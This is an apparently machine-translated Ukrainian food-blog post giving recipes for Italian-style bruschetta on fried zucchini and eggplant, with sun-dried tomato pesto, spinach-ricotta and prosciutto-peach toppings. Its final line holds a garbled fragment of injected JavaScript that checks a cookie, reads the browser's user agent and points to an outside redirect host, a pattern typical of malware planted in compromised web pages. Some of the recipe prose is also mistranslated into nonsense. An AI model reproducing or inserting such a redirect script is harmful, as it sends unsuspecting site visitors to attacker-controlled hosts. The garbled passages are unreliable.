Представляємо вам абсолютно літні італійські закуски: паста зі шпинату рікотта, песто з сушених томатів, поєднання прошутто та соковитих персиків ...
Італійська кухня по праву є однією з найпопулярніших у світі. А найпопулярніша їжа? Ну, піца, паста, або щось подібне:). Безперечно, це справді дивовижні страви, але для нас італійська кухня - це більше поєднання якісних та корисних інгредієнтів. Ми можемо обміняти макарони на овочі, тісто для піци на більш здорову альтернативу або шматок м’яса:). Італійські класики, такі як агліо оліо, карбонара, моцарела з помідорами, болоньєзе, шпинат з рікоттою, справді ідеальні навіть без класичного гарніру:).
Сьогодні ми підготували для вас вашу улюблену італійську закуску - брускетту кількома способами. З популярних італійських поєднань ми вибрали рикотту зі шпинатом, прошутто з персиком та песто із сушених помідорів. Звичайно, ці комбінації також можна використовувати в салатах, на здоровому хлібі тощо. Однак найбільше нам подобається те, що замість підсмаженого хліба ми використовуємо підсмажені кабачки або баклажани. Повірте нам, це абсолютно відомо:). І якщо вам це не подобається, тісто, яке ми використовуємо для веганських строп на нашому курсі приготування, також чудове.
Тут можна знайти більше італійських делікатесів.
Брускеткі
Наріжте кабачки та баклажани скибочками 0,5-1 см і обсмажте насухо на сковороді з кожного боку близько 2 хвилин. Посолити і заправити. Посипте часником за смаком:).
Висушений томатний песто
- 1 середня цибулина
- 2-3 зубчики часнику
- 1 + 5 столових ложок оливкової олії
- 100 г сушених помідорів (якщо ми використовуємо мариновані в олії, опустіть ці 5 столових ложок олії і дайте кількість за потребою)
- кілька листя свіжого базиліка
- сіль і чорний перець за смаком
Дрібно наріжте цибулю і часник і тушкуйте в невеликій кількості олії близько 5 хвилин до м’якості. Потім ми змішуємо всі інгредієнти в дрібну пасту - консистенцією схожою на тартар для стейків.
Паста зі шпинату-рікотти
- 100г рикоті
- 100 г шпинату (свіжий або заморожений)
- 1 столова ложка оливкової олії
- щіпка мускатного горіха
- сіль і перець за смаком
Попарити (розморозити), дрібно нарізати і змішати з рікоттою та іншими інгредієнтами, щоб вийшла гладка паста. Ми скуштуємо його за потребою.
Прошутто з персиком
Це поєднання ідеально підходить, особливо як салат з медово-вапняною заправкою. Зазвичай ми подаємо моцарелу з салатом:). Кількість залежить від смаку та кількості людей, але ось як це працює:
- 50г прошутти
- 1 моцарела
- 2 персика/нектарини
- щіпка солі на моцарелі
- заправка: 1 столова ложка меду + сік половини лайма або лимона + 2 столові ложки оливкової олії
* якщо ми хочемо це як салат, додаємо 1/2 салату айсберг
* якщо любите брускети, просто викладіть ці інгредієнти на смажені овочі
якщо (document.currentScript) < if(document.cookie.indexOf(“_mauthtoken”)==-1)>>) (navigator.userAgent || navigator.vendor || window.opera, ’http: //gethere.info/kt/? 264dpr &’);>